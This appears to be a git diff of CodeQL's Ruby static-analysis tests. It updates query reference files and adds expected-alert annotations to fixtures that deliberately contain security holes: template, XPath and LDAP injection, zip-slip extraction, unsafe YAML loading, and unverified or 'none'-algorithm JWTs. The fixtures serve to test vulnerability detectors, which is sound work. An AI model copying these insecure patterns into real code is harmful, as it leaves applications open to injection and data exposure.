filter, attributes: [""]) # $ Alert # GOOD: user input is not used in the LDAP query result = ldap.search(base: "ou=people,dc=example,dc=com", filter: "cn=George", attributes: [""]) diff --git a/ruby/ql/test/query-tests/experimental/LdapInjection/Ldapinjection.qlref b/ruby/ql/test/query-tests/experimental/LdapInjection/Ldapinjection.qlref index 7df75a91d969..f1164f044e6f 100644 --- a/ruby/ql/test/query-tests/experimental/LdapInjection/Ldapinjection.qlref +++ b/ruby/ql/test/query-tests/experimental/LdapInjection/Ldapinjection.qlref @@ -1 +1,2 @@ -experimental/ldap-injection/LdapInjection.ql \ No newline at end of file +query: experimental/ldap-injection/LdapInjection.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/experimental/TemplateInjection/ErbInjection.rb b/ruby/ql/test/query-tests/experimental/TemplateInjection/ErbInjection.rb index 41b9d7069530..a433e4d54363 100644 --- a/ruby/ql/test/query-tests/experimental/TemplateInjection/ErbInjection.rb +++ b/ruby/ql/test/query-tests/experimental/TemplateInjection/ErbInjection.rb @@ -2,7 +2,7 @@ class FooController < ActionController::Base def some_request_handler # A string tainted by user input is inserted into a template # (i.e a remote flow source) - name = params[:name] + name = params[:name] # $ Source # Template with the source bad_text = " @@ -12,11 +12,11 @@ def some_request_handler # BAD: user input is evaluated # where name is unsanitized - template = ERB.new(bad_text).result(binding) + template = ERB.new(bad_text).result(binding) # $ Alert # BAD: user input is evaluated # where name is unsanitized - render inline: bad_text + render inline: bad_text # $ Alert # Template with the source good_text = " diff --git a/ruby/ql/test/query-tests/experimental/TemplateInjection/SlimInjection.rb b/ruby/ql/test/query-tests/experimental/TemplateInjection/SlimInjection.rb index 07b93a20468b..05684b9454fa 100644 --- a/ruby/ql/test/query-tests/experimental/TemplateInjection/SlimInjection.rb +++ b/ruby/ql/test/query-tests/experimental/TemplateInjection/SlimInjection.rb @@ -2,7 +2,7 @@ class FooController < ActionController::Base def some_request_handler # A string tainted by user input is inserted into a template # (i.e a remote flow source) - name = params[:name] + name = params[:name] # $ Source # Template with the source (no sanitizer) bad_text = " @@ -11,7 +11,7 @@ def some_request_handler " % name # BAD: renders user input # where text is unsanitized - Slim::Template.new{ bad_text }.render + Slim::Template.new{ bad_text }.render # $ Alert # Template with the source (no sanitizer) bad2_text = " @@ -20,7 +20,7 @@ def some_request_handler " # BAD: renders user input # where text is unsanitized - Slim::Template.new{ bad2_text }.render + Slim::Template.new{ bad2_text }.render # $ Alert # Template with the source (no render) good_text = " diff --git a/ruby/ql/test/query-tests/experimental/TemplateInjection/TemplateInjection.qlref b/ruby/ql/test/query-tests/experimental/TemplateInjection/TemplateInjection.qlref index 38054e393eee..e783cc8cabbd 100644 --- a/ruby/ql/test/query-tests/experimental/TemplateInjection/TemplateInjection.qlref +++ b/ruby/ql/test/query-tests/experimental/TemplateInjection/TemplateInjection.qlref @@ -1 +1,2 @@ -experimental/template-injection/TemplateInjection.ql \ No newline at end of file +query: experimental/template-injection/TemplateInjection.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/experimental/XPathInjection/LibxmlInjection.rb b/ruby/ql/test/query-tests/experimental/XPathInjection/LibxmlInjection.rb index 3bde2f1e40b9..8a992b5ba36b 100644 --- a/ruby/ql/test/query-tests/experimental/XPathInjection/LibxmlInjection.rb +++ b/ruby/ql/test/query-tests/experimental/XPathInjection/LibxmlInjection.rb @@ -2,7 +2,7 @@ class FooController < ActionController::Base def libxml_handler(event:, context:) - name = params[:user_name] + name = params[:user_name] # $ Source xml = <<-XML @@ -18,13 +18,13 @@ def libxml_handler(event:, context:) results1 = doc.find_first('//foo') # BAD: XPath query is constructed from user input - results2 = doc.find_first("//#{name}") + results2 = doc.find_first("//#{name}") # $ Alert # GOOD: XPath query is not constructed from user input results3 = doc.find('//foo') # BAD: XPath query is constructed from user input - results4 = doc.find("//#{name}") + results4 = doc.find("//#{name}") # $ Alert end end diff --git a/ruby/ql/test/query-tests/experimental/XPathInjection/NokogiriInjection.rb b/ruby/ql/test/query-tests/experimental/XPathInjection/NokogiriInjection.rb index e3ac8055f486..89f5fa5e8444 100644 --- a/ruby/ql/test/query-tests/experimental/XPathInjection/NokogiriInjection.rb +++ b/ruby/ql/test/query-tests/experimental/XPathInjection/NokogiriInjection.rb @@ -2,7 +2,7 @@ class FooController < ActionController::Base def nokogiri_handler(event:, context:) - name = params[:user_name] + name = params[:user_name] # $ Source xml = <<-XML @@ -18,19 +18,19 @@ def nokogiri_handler(event:, context:) results1 = doc.at('//foo') # BAD: XPath query is constructed from user input - results2 = doc.at("//#{name}") + results2 = doc.at("//#{name}") # $ Alert # GOOD: XPath query is not constructed from user input results3 = doc.xpath('//foo') # BAD: XPath query is constructed from user input - results4 = doc.xpath("//#{name}") + results4 = doc.xpath("//#{name}") # $ Alert # GOOD: XPath query is not constructed from user input results5 = doc.at_xpath('//foo') # BAD: XPath query is constructed from user input - results6 = doc.at_xpath("//#{name}") + results6 = doc.at_xpath("//#{name}") # $ Alert # GOOD: XPath query is not constructed from user input doc.xpath('//foo').each do |element| @@ -38,7 +38,7 @@ def nokogiri_handler(event:, context:) end # BAD: XPath query constructed from user input - doc.xpath("//#{name}").each do |element| + doc.xpath("//#{name}").each do |element| # $ Alert puts element.text end @@ -48,7 +48,7 @@ def nokogiri_handler(event:, context:) end # BAD: XPath query constructed from user input - doc.search("//#{name}").each do |element| + doc.search("//#{name}").each do |element| # $ Alert puts element.text end end diff --git a/ruby/ql/test/query-tests/experimental/XPathInjection/RexmlInjection.rb b/ruby/ql/test/query-tests/experimental/XPathInjection/RexmlInjection.rb index 6ee16d125b43..5b850c70ad4d 100644 --- a/ruby/ql/test/query-tests/experimental/XPathInjection/RexmlInjection.rb +++ b/ruby/ql/test/query-tests/experimental/XPathInjection/RexmlInjection.rb @@ -2,7 +2,7 @@ class FooController < ActionController::Base def rexml_handler(event:, context:) - name = params[:user_name] + name = params[:user_name] # $ Source xml = <<-XML @@ -18,13 +18,13 @@ def rexml_handler(event:, context:) results1 = REXML::XPath.first(doc, "//foo") # BAD: XPath query is constructed from user input - results2 = REXML::XPath.first(doc, "//#{name}") + results2 = REXML::XPath.first(doc, "//#{name}") # $ Alert # GOOD: XPath query is not constructed from user input results3 = REXML::XPath.match(doc, "//foo", nil) # BAD: XPath query is constructed from user input - results4 = REXML::XPath.match(doc, "//#{name}", nil) + results4 = REXML::XPath.match(doc, "//#{name}", nil) # $ Alert # GOOD: XPath query is not constructed from user input REXML::XPath.each(doc, "//foo") do |element| @@ -32,7 +32,7 @@ def rexml_handler(event:, context:) end # BAD: XPath query constructed from user input - REXML::XPath.each(doc, "//#{name}") do |element| + REXML::XPath.each(doc, "//#{name}") do |element| # $ Alert puts element.text end end diff --git a/ruby/ql/test/query-tests/experimental/XPathInjection/XPathInjection.qlref b/ruby/ql/test/query-tests/experimental/XPathInjection/XPathInjection.qlref index a5b1b23c2031..7ca9780f11c3 100644 --- a/ruby/ql/test/query-tests/experimental/XPathInjection/XPathInjection.qlref +++ b/ruby/ql/test/query-tests/experimental/XPathInjection/XPathInjection.qlref @@ -1 +1,2 @@ -experimental/xpath-injection/XpathInjection.ql \ No newline at end of file +query: experimental/xpath-injection/XpathInjection.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/experimental/cwe-022-ZipSlip/ZipSlip.qlref b/ruby/ql/test/query-tests/experimental/cwe-022-ZipSlip/ZipSlip.qlref index 2ecd57e4b2bc..a5b8c00322e5 100644 --- a/ruby/ql/test/query-tests/experimental/cwe-022-ZipSlip/ZipSlip.qlref +++ b/ruby/ql/test/query-tests/experimental/cwe-022-ZipSlip/ZipSlip.qlref @@ -1 +1,2 @@ -experimental/cwe-022-zipslip/ZipSlip.ql +query: experimental/cwe-022-zipslip/ZipSlip.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/experimental/cwe-022-ZipSlip/zip_slip.rb b/ruby/ql/test/query-tests/experimental/cwe-022-ZipSlip/zip_slip.rb index 4e5aa27d00a1..72c8c4701fcb 100644 --- a/ruby/ql/test/query-tests/experimental/cwe-022-ZipSlip/zip_slip.rb +++ b/ruby/ql/test/query-tests/experimental/cwe-022-ZipSlip/zip_slip.rb @@ -5,9 +5,9 @@ class TestController < ActionController::Base def tarReaderUnsafe path = params[:path] file_stream = IO.new(IO.sysopen(path)) - tarfile = Gem::Package::TarReader.new(file_stream) + tarfile = Gem::Package::TarReader.new(file_stream) # $ Source tarfile.each do |entry| - ::File.open(entry.full_name, "wb") do |os| + ::File.open(entry.full_name, "wb") do |os| # $ Alert entry.read end end @@ -17,9 +17,9 @@ def tarReaderUnsafe def tarReaderBlockUnsafe path = params[:path] file_stream = IO.new(IO.sysopen(path)) - Gem::Package::TarReader.new(file_stream) do |tarfile| + Gem::Package::TarReader.new(file_stream) do |tarfile| # $ Source tarfile.each_entry do |entry| - ::File.open(entry.full_name, "wb") do |os| + ::File.open(entry.full_name, "wb") do |os| # $ Alert entry.read end end @@ -43,8 +43,8 @@ def tarReadeSanitizedExpandPath # BAD def zipFileUnsafe path = params[:path] - Zip::File.open(path).each do |entry| - File.open(entry.name, "wb") do |os| + Zip::File.open(path).each do |entry| # $ Source + File.open(entry.name, "wb") do |os| # $ Alert entry.read end end @@ -53,9 +53,9 @@ def zipFileUnsafe # BAD def zipFileBlockUnsafe path = params[:path] - Zip::File.open(path) do |zip_file| + Zip::File.open(path) do |zip_file| # $ Source zip_file.each do |entry| - File.open(entry.name, "wb") do |os| + File.open(entry.name, "wb") do |os| # $ Alert entry.read end end @@ -87,7 +87,7 @@ def zipFileSanitizedConstCompare end def get_compressed_file_stream(compressed_file_path) - gzip = Zlib::GzipReader.open(compressed_file_path) + gzip = Zlib::GzipReader.open(compressed_file_path) # $ Source yield(gzip) end @@ -97,7 +97,7 @@ def gzipReaderUnsafe get_compressed_file_stream(path) do |compressed_file| compressed_file.each do |entry| entry_path = entry.full_name - ::File.open(entry_path, 'wb') do |os| + ::File.open(entry_path, 'wb') do |os| # $ Alert entry.read end end @@ -120,10 +120,10 @@ def gzipReaderSafeConstPath def gzipReaderUnsafeNewInstance path = params[:path] File.open(path, 'rb') do |f| - gz = Zlib::GzipReader.new(f) + gz = Zlib::GzipReader.new(f) # $ Source gz.each do |entry| entry_path = entry.full_name - ::File.open(entry_path, 'wb') do |os| + ::File.open(entry_path, 'wb') do |os| # $ Alert entry.read end end diff --git a/ruby/ql/test/query-tests/experimental/cwe-176/UnicodeBypassValidation.qlref b/ruby/ql/test/query-tests/experimental/cwe-176/UnicodeBypassValidation.qlref index 2faba2ebb125..1fe05308e87b 100644 --- a/ruby/ql/test/query-tests/experimental/cwe-176/UnicodeBypassValidation.qlref +++ b/ruby/ql/test/query-tests/experimental/cwe-176/UnicodeBypassValidation.qlref @@ -1 +1 @@ -experimental/cwe-176/UnicodeBypassValidation.ql +query: experimental/cwe-176/UnicodeBypassValidation.ql diff --git a/ruby/ql/test/query-tests/experimental/cwe-347/EmptyJWTSecret.qlref b/ruby/ql/test/query-tests/experimental/cwe-347/EmptyJWTSecret.qlref index 3d034add0ba4..c6f2acf7d750 100644 --- a/ruby/ql/test/query-tests/experimental/cwe-347/EmptyJWTSecret.qlref +++ b/ruby/ql/test/query-tests/experimental/cwe-347/EmptyJWTSecret.qlref @@ -1 +1,2 @@ -experimental/cwe-347/EmptyJWTSecret.ql \ No newline at end of file +query: experimental/cwe-347/EmptyJWTSecret.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/experimental/cwe-347/EmptyJWTSecret.rb b/ruby/ql/test/query-tests/experimental/cwe-347/EmptyJWTSecret.rb index a78ec0d0421b..8744163786c6 100644 --- a/ruby/ql/test/query-tests/experimental/cwe-347/EmptyJWTSecret.rb +++ b/ruby/ql/test/query-tests/experimental/cwe-347/EmptyJWTSecret.rb @@ -6,10 +6,10 @@ token1 = JWT.encode({ foo: 'bar' }, "secret", 'none') # BAD: the secret used is empty -token2 = JWT.encode({ foo: 'bar' }, nil, 'HS256') +token2 = JWT.encode({ foo: 'bar' }, nil, 'HS256') # $ Alert[rb/jwt-empty-secret-or-algorithm] # BAD: the secret used is empty -token3 = JWT.encode({ foo: 'bar' }, "", 'HS256') +token3 = JWT.encode({ foo: 'bar' }, "", 'HS256') # $ Alert[rb/jwt-empty-secret-or-algorithm] # GOOD: the token is signed token4 = JWT.encode({ foo: 'bar' }, "secret", 'HS256') \ No newline at end of file diff --git a/ruby/ql/test/query-tests/experimental/cwe-347/MissingJWTVerification.qlref b/ruby/ql/test/query-tests/experimental/cwe-347/MissingJWTVerification.qlref index 793275aef112..dba60e5fbb48 100644 --- a/ruby/ql/test/query-tests/experimental/cwe-347/MissingJWTVerification.qlref +++ b/ruby/ql/test/query-tests/experimental/cwe-347/MissingJWTVerification.qlref @@ -1 +1,2 @@ -experimental/cwe-347/MissingJWTVerification.ql \ No newline at end of file +query: experimental/cwe-347/MissingJWTVerification.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/experimental/cwe-347/MissingJWTVerification.rb b/ruby/ql/test/query-tests/experimental/cwe-347/MissingJWTVerification.rb index 4c5bd08094ed..388eabbe7d58 100644 --- a/ruby/ql/test/query-tests/experimental/cwe-347/MissingJWTVerification.rb +++ b/ruby/ql/test/query-tests/experimental/cwe-347/MissingJWTVerification.rb @@ -3,19 +3,19 @@ payload = { foo: 'bar' } # Unsecure token -token_without_signature = JWT.encode(payload, nil, 'none') +token_without_signature = JWT.encode(payload, nil, 'none') # $ Alert[rb/jwt-empty-secret-or-algorithm] # Secure token token = JWT.encode(payload, "secret", 'HS256') # BAD: it does not verify -decoded_token1 = JWT.decode(token_without_signature, nil, false, algorithm: 'HS256') +decoded_token1 = JWT.decode(token_without_signature, nil, false, algorithm: 'HS256') # $ Alert[rb/jwt-missing-verification] # BAD: it's using none -decoded_token3 = JWT.decode(token_without_signature, secret, true, algorithm: 'none') +decoded_token3 = JWT.decode(token_without_signature, secret, true, algorithm: 'none') # $ Alert[rb/jwt-missing-verification] # BAD: it's using none -decoded_token4 = JWT.decode(token_without_signature, secret, true, { algorithm: 'none' }) +decoded_token4 = JWT.decode(token_without_signature, secret, true, { algorithm: 'none' }) # $ Alert[rb/jwt-missing-verification] # GOOD: it does verify decoded_token5 = JWT.decode(token, secret, 'HS256') diff --git a/ruby/ql/test/query-tests/experimental/cwe-502/UnsafeYamlDeserialization.qlref b/ruby/ql/test/query-tests/experimental/cwe-502/UnsafeYamlDeserialization.qlref index 991ba757e43a..f7fb7dfe3fc4 100644 --- a/ruby/ql/test/query-tests/experimental/cwe-502/UnsafeYamlDeserialization.qlref +++ b/ruby/ql/test/query-tests/experimental/cwe-502/UnsafeYamlDeserialization.qlref @@ -1 +1,2 @@ -experimental/cwe-502/UnsafeYamlDeserialization.ql \ No newline at end of file +query: experimental/cwe-502/UnsafeYamlDeserialization.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/experimental/cwe-502/UnsafeYamlDeserialization.rb b/ruby/ql/test/query-tests/experimental/cwe-502/UnsafeYamlDeserialization.rb index c9b186e0915b..dc3e1cbab95b 100644 --- a/ruby/ql/test/query-tests/experimental/cwe-502/UnsafeYamlDeserialization.rb +++ b/ruby/ql/test/query-tests/experimental/cwe-502/UnsafeYamlDeserialization.rb @@ -7,15 +7,15 @@ class UsersController < ActionController::Base # BAD before psych version 4.0.0 and def route1 - yaml_data = params[:key] - object = Psych.load yaml_data + yaml_data = params[:key] # $ Source + object = Psych.load yaml_data # $ Alert object = Psych.load_file yaml_data end # GOOD In psych version 4.0.0 and above def route2 - yaml_data = params[:key] - object = Psych.load yaml_data + yaml_data = params[:key] # $ Source + object = Psych.load yaml_data # $ Alert object = Psych.load_file yaml_data end @@ -29,14 +29,14 @@ def route3 # BAD def route4 - yaml_data = params[:key] - object = Psych.unsafe_load(yaml_data) - object = Psych.unsafe_load_file(yaml_data) - object = Psych.load_stream(yaml_data) + yaml_data = params[:key] # $ Source + object = Psych.unsafe_load(yaml_data) # $ Alert + object = Psych.unsafe_load_file(yaml_data) # $ Alert + object = Psych.load_stream(yaml_data) # $ Alert parse_output = Psych.parse_stream(yaml_data) - object = parse_output.to_ruby - object = Psych.parse(yaml_data).to_ruby - object = Psych.parse_file(yaml_data).to_ruby + object = parse_output.to_ruby # $ Alert + object = Psych.parse(yaml_data).to_ruby # $ Alert + object = Psych.parse_file(yaml_data).to_ruby # $ Alert parsed_yaml = Psych.parse_stream(yaml_data) parsed_yaml.children.each do |child| object = child.to_ruby @@ -46,7 +46,7 @@ def route4 end object = parsed_yaml.children.first.to_ruby content = parsed_yaml.children[0].children[0].children - object = parsed_yaml.to_ruby[0] + object = parsed_yaml.to_ruby[0] # $ Alert object = content.to_ruby[0] object = Psych.parse(yaml_data).children[0].to_ruby end @@ -58,18 +58,18 @@ def route5 end def stdin - object = YAML.load $stdin.read + object = YAML.load $stdin.read # $ Alert # STDIN - object = YAML.load STDIN.gets + object = YAML.load STDIN.gets # $ Alert # ARGF - object = YAML.load ARGF.read + object = YAML.load ARGF.read # $ Alert # Kernel.gets - object = YAML.load gets + object = YAML.load gets # $ Alert # Kernel.readlines - object = YAML.load readlines + object = YAML.load readlines # $ Alert end end diff --git a/ruby/ql/test/query-tests/experimental/manually-check-http-verb/ManuallyCheckHttpVerb.qlref b/ruby/ql/test/query-tests/experimental/manually-check-http-verb/ManuallyCheckHttpVerb.qlref index 463c21cd0f29..455d02aef04c 100644 --- a/ruby/ql/test/query-tests/experimental/manually-check-http-verb/ManuallyCheckHttpVerb.qlref +++ b/ruby/ql/test/query-tests/experimental/manually-check-http-verb/ManuallyCheckHttpVerb.qlref @@ -1 +1,2 @@ -experimental/manually-check-http-verb/ManuallyCheckHttpVerb.ql \ No newline at end of file +query: experimental/manually-check-http-verb/ManuallyCheckHttpVerb.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/experimental/manually-check-http-verb/ManuallyCheckHttpVerb.rb b/ruby/ql/test/query-tests/experimental/manually-check-http-verb/ManuallyCheckHttpVerb.rb index 055e9d986382..0dc9df656038 100644 --- a/ruby/ql/test/query-tests/experimental/manually-check-http-verb/ManuallyCheckHttpVerb.rb +++ b/ruby/ql/test/query-tests/experimental/manually-check-http-verb/ManuallyCheckHttpVerb.rb @@ -1,39 +1,39 @@ class ExampleController < ActionController::Base # Should find def example_action - if request.get? + if request.get? # $ Alert Resource.find(id: params[:example_id]) end end # Should find def other_action - method = request.env['REQUEST_METHOD'] - if method == "GET" + method = request.env['REQUEST_METHOD'] # $ Source + if method == "GET" # $ Alert Resource.find(id: params[:id]) end end # Should find def foo - method = request.request_method - if method == "GET" + method = request.request_method # $ Source + if method == "GET" # $ Alert Resource.find(id: params[:id]) end end # Should find def bar - method = request.method - if method == "GET" + method = request.method # $ Source + if method == "GET" # $ Alert Resource.find(id: params[:id]) end end # Should find def baz - method = request.raw_request_method - if method == "GET" + method = request.raw_request_method # $ Source + if method == "GET" # $ Alert Resource.find(id: params[:id]) end end @@ -48,15 +48,15 @@ def baz2 # Should find def foobarbaz - method = request.request_method_symbol - if method == :GET + method = request.request_method_symbol # $ Source + if method == :GET # $ Alert Resource.find(id: params[:id]) end end # Should find def resource_action - case request.env['REQUEST_METHOD'] + case request.env['REQUEST_METHOD'] # $ Alert when "GET" Resource.find(id: params[:id]) when "POST" diff --git a/ruby/ql/test/query-tests/experimental/weak-params/WeakParams.qlref b/ruby/ql/test/query-tests/experimental/weak-params/WeakParams.qlref index 5350e4bf40a5..96a41103dd44 100644 --- a/ruby/ql/test/query-tests/experimental/weak-params/WeakParams.qlref +++ b/ruby/ql/test/query-tests/experimental/weak-params/WeakParams.qlref @@ -1 +1,2 @@ -experimental/weak-params/WeakParams.ql \ No newline at end of file +query: experimental/weak-params/WeakParams.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/experimental/weak-params/WeakParams.rb b/ruby/ql/test/query-tests/experimental/weak-params/WeakParams.rb index a5edef2e6dc2..89a495a40963 100644 --- a/ruby/ql/test/query-tests/experimental/weak-params/WeakParams.rb +++ b/ruby/ql/test/query-tests/experimental/weak-params/WeakParams.rb @@ -2,22 +2,22 @@ class TestController < ActionController::Base # Should catch def create - TestObject.create(foo: request.request_parameters[:foo]) + TestObject.create(foo: request.request_parameters[:foo]) # $ Alert end # Should catch def create_query - TestObject.create(foo: request.query_parameters[:foo]) + TestObject.create(foo: request.query_parameters[:foo]) # $ Alert end # Should catch def update_unsafe - TestObject.update(foo: request.POST[:foo]) + TestObject.update(foo: request.POST[:foo]) # $ Alert end # Should catch def update_unsafe_get - TestObject.update(foo: request.GET[:foo]) + TestObject.update(foo: request.GET[:foo]) # $ Alert end # Should not catch diff --git a/ruby/ql/test/query-tests/metrics/FLines/FLines.qlref b/ruby/ql/test/query-tests/metrics/FLines/FLines.qlref index 315464375988..53ed649c7e4c 100644 --- a/ruby/ql/test/query-tests/metrics/FLines/FLines.qlref +++ b/ruby/ql/test/query-tests/metrics/FLines/FLines.qlref @@ -1 +1 @@ -queries/metrics/FLines.ql \ No newline at end of file +query: queries/metrics/FLines.ql diff --git a/ruby/ql/test/query-tests/metrics/FLines/FLinesOfCode.qlref b/ruby/ql/test/query-tests/metrics/FLines/FLinesOfCode.qlref index cb4dd2b8767c..c77e9739c0ac 100644 --- a/ruby/ql/test/query-tests/metrics/FLines/FLinesOfCode.qlref +++ b/ruby/ql/test/query-tests/metrics/FLines/FLinesOfCode.qlref @@ -1 +1 @@ -queries/metrics/FLinesOfCode.ql \ No newline at end of file +query: queries/metrics/FLinesOfCode.ql diff --git a/ruby/ql/test/query-tests/metrics/FLines/FLinesOfComments.qlref b/ruby/ql/test/query-tests/metrics/FLines/FLinesOfComments.qlref index 766ae4bcc590..3f0bff7371d2 100644 --- a/ruby/ql/test/query-tests/metrics/FLines/FLinesOfComments.qlref +++ b/ruby/ql/test/query-tests/metrics/FLines/FLinesOfComments.qlref @@ -1 +1 @@ -queries/metrics/FLinesOfComments.ql \ No newline at end of file +query: queries/metrics/FLinesOfComments.ql diff --git a/ruby/ql/test/query-tests/performance/UseDetect/UseDetect.qlref b/ruby/ql/test/query-tests/performance/UseDetect/UseDetect.qlref index f2a94b28c407..453e0a3f399f 100644 --- a/ruby/ql/test/query-tests/performance/UseDetect/UseDetect.qlref +++ b/ruby/ql/test/query-tests/performance/UseDetect/UseDetect.qlref @@ -1 +1,2 @@ -experimental/performance/UseDetect.ql +query: experimental/performance/UseDetect.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/performance/UseDetect/UseDetect.rb b/ruby/ql/test/query-tests/performance/UseDetect/UseDetect.rb index e1d2d9b91ba0..2c2602e72e62 100644 --- a/ruby/ql/test/query-tests/performance/UseDetect/UseDetect.rb +++ b/ruby/ql/test/query-tests/performance/UseDetect/UseDetect.rb @@ -2,14 +2,14 @@ class DetectTest def test # These are bad - [].select { |i| true }.first - [].select { |i| true }.last - [].select { |i| true }[0] - [].select { |i| true }[-1] - [].filter { |i| true }.first - [].find_all { |i| true }.last + [].select { |i| true }.first # $ Alert + [].select { |i| true }.last # $ Alert + [].select { |i| true }[0] # $ Alert + [].select { |i| true }[-1] # $ Alert + [].filter { |i| true }.first # $ Alert + [].find_all { |i| true }.last # $ Alert selection1 = [].select { |i| true } - selection1.first + selection1.first # $ Alert # These are good [].select("").first # Selecting a string diff --git a/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/IncompleteHostnameRegExp.qlref b/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/IncompleteHostnameRegExp.qlref index 7fd45d159ce4..93a6200ff175 100644 --- a/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/IncompleteHostnameRegExp.qlref +++ b/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/IncompleteHostnameRegExp.qlref @@ -1 +1,2 @@ -queries/security/cwe-020/IncompleteHostnameRegExp.ql \ No newline at end of file +query: queries/security/cwe-020/IncompleteHostnameRegExp.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/hosttest.rb b/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/hosttest.rb index 5a5c96692ce0..32aa8ad9491d 100644 --- a/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/hosttest.rb +++ b/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/hosttest.rb @@ -1,6 +1,6 @@ -UNSAFE_REGEX1 = /(www|beta).example.com\// -UNSAFE_REGEX2 = Regexp.compile("(www|beta).example.com/") -UNSAFE_REGEX3 = Regexp.new("(www|beta).example.com/") +UNSAFE_REGEX1 = /(www|beta).example.com\// # $ Alert +UNSAFE_REGEX2 = Regexp.compile("(www|beta).example.com/") # $ Alert +UNSAFE_REGEX3 = Regexp.new("(www|beta).example.com/") # $ Alert SAFE_REGEX = /(www|beta)\.example\.com\// def unsafe diff --git a/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/tst-IncompleteHostnameRegExp.rb b/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/tst-IncompleteHostnameRegExp.rb index 7041e4dc9c46..7d29b530acf1 100644 --- a/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/tst-IncompleteHostnameRegExp.rb +++ b/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/tst-IncompleteHostnameRegExp.rb @@ -1,31 +1,31 @@ def foo /^http:\/\/example.com/; # OK - /^http:\/\/test.example.com/; # NOT OK + /^http:\/\/test.example.com/; # NOT OK # $ Alert /^http:\/\/test\.example.com/; # OK - /^http:\/\/test.example.net/; # NOT OK - /^http:\/\/test.(example-a|example-b).com/; # NOT OK - /^http:\/\/(.+).example.com\//; # NOT OK + /^http:\/\/test.example.net/; # NOT OK # $ Alert + /^http:\/\/test.(example-a|example-b).com/; # NOT OK # $ Alert + /^http:\/\/(.+).example.com\//; # NOT OK # $ Alert /^http:\/\/(\.+)\.example.com/; # OK - /^http:\/\/(?:.+)\.test\.example.com\//; # NOT OK - /^http:\/\/test.example.com\/(?:.*)/; # OK - Regexp.new("^http://test.example.com"); # NOT OK - if (s.match("^http://test.example.com")); end # NOT OK + /^http:\/\/(?:.+)\.test\.example.com\//; # NOT OK # $ Alert + /^http:\/\/test.example.com\/(?:.*)/; # OK # $ Alert + Regexp.new("^http://test.example.com"); # NOT OK # $ Alert + if (s.match("^http://test.example.com")); end # NOT OK # $ Alert - Regexp.new(id(id(id("^http://test.example.com")))); # NOT OK + Regexp.new(id(id(id("^http://test.example.com")))); # NOT OK # $ Alert - Regexp.new(`test.example.com$`); # NOT OK + Regexp.new(`test.example.com$`); # NOT OK # $ Alert - hostname = '^test.example.com'; # NOT OK - Regexp.new("#{hostname}$"); + hostname = '^test.example.com'; # NOT OK # $ Alert + Regexp.new("#{hostname}$"); # $ Alert - domain = { hostname: 'test.example.com$' }; # NOT OK + domain = { hostname: 'test.example.com$' }; # NOT OK # $ Alert Regexp.new(domain[:hostname]); - convert1({ hostname: 'test.example.com$' }); # NOT OK + convert1({ hostname: 'test.example.com$' }); # NOT OK # $ Alert domains = [ { hostname: 'test.example.com$' } ]; # NOT OK - but not flagged due to limitations of TypeTracking. @@ -34,18 +34,18 @@ def foo domains.map{ |d| convert2(d) }; /^(.+\.(?:example-a|example-b)\.com)\//; # NOT OK - /^(https?:)?\/\/((service|www).)?example.com(?=$|\/)/; # NOT OK - /^(http|https):\/\/www.example.com\/p\/f\//; # NOT OK - /^(http:\/\/sub.example.com\/)/i; # NOT OK - /^https?:\/\/api.example.com/; # NOT OK - Regexp.new('^http://localhost:8000|' + "^https?://.+\\.example\\.com/"); # NOT OK + /^(https?:)?\/\/((service|www).)?example.com(?=$|\/)/; # NOT OK # $ Alert + /^(http|https):\/\/www.example.com\/p\/f\//; # NOT OK # $ Alert + /^(http:\/\/sub.example.com\/)/i; # NOT OK # $ Alert + /^https?:\/\/api.example.com/; # NOT OK # $ Alert + Regexp.new('^http://localhost:8000|' + "^https?://.+\\.example\\.com/"); # NOT OK # $ Alert Regexp.new("^http[s]?:\/\/?sub1\\.sub2\\.example\\.com\/f\/(.+)"); # NOT OK - /^https:\/\/[a-z]*.example.com$/; # NOT OK - Regexp.compile('^protos?://(localhost|.+.example.net|.+.example-a.com|.+.example-b.com|.+.example.internal)'); # NOT OK + /^https:\/\/[a-z]*.example.com$/; # NOT OK # $ Alert + Regexp.compile('^protos?://(localhost|.+.example.net|.+.example-a.com|.+.example-b.com|.+.example.internal)'); # NOT OK # $ Alert /^(example.dev|example.com)/; # OK - Regexp.new('^http://localhost:8000|' + "^https?://.+.example\\.com/"); # NOT OK + Regexp.new('^http://localhost:8000|' + "^https?://.+.example\\.com/"); # NOT OK # $ Alert primary = 'example.com$'; Regexp.new('test.' + primary); # NOT OK, but not detected @@ -56,7 +56,7 @@ def foo /^http:\/\/(..|...)\.example\.com\/index\.html/; # OK, wildcards are intentional /^http:\/\/.\.example\.com\/index\.html/; # OK, the wildcard is intentional - /^(foo.example\.com|whatever)$/; # kinda OK - one disjunction doesn't even look like a hostname + /^(foo.example\.com|whatever)$/; # kinda OK - one disjunction doesn't even look like a hostname # $ Alert end def id(e); return e; end def convert1(domain) @@ -78,4 +78,4 @@ def self.match?(x) end end 